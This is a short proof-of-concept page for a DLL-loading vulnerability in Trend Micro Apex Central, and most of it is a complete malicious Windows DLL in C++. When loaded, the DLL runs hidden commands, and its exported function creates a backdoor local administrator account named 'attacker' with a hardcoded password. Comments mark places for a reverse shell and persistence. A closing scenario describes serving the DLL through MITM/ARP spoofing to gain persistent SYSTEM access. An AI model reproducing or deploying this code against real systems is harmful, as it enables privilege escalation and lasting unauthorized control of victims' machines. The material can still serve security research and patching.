CVE-2025-69258

// CVE-2025-69258 PoC - Malicious DLL for Trend Micro Apex Central LoadLibraryEX Exploitation // This PoC demonstrates the DLL loading vulnerability // Compile as DLL and serve on attacker-controlled server #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Create reverse shell or execute payload as SYSTEM user WinExec("cmd.exe /c whoami > C:\\Windows\\Temp\\poc_output.txt", SW_HIDE); // Add persistence mechanism here break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } // Exported function that may be called by the vulnerable application extern "C" __declspec(dllexport) void PayloadFunction() { // Execute privileged operations system("net user attacker P@ssw0rd123 /add"); system("net localgroup Administrators attacker /add"); } /* Attack scenario: 1. Attacker creates malicious DLL with reverse shell or command execution payload 2. Attacker intercepts/modifies DLL loading request via MITM/ARP spoofing 3. Victim's Apex Central loads attacker-controlled DLL via vulnerable LoadLibraryEX call 4. Malicious code executes with SYSTEM privileges 5. Attacker gains persistent remote access to compromised system */

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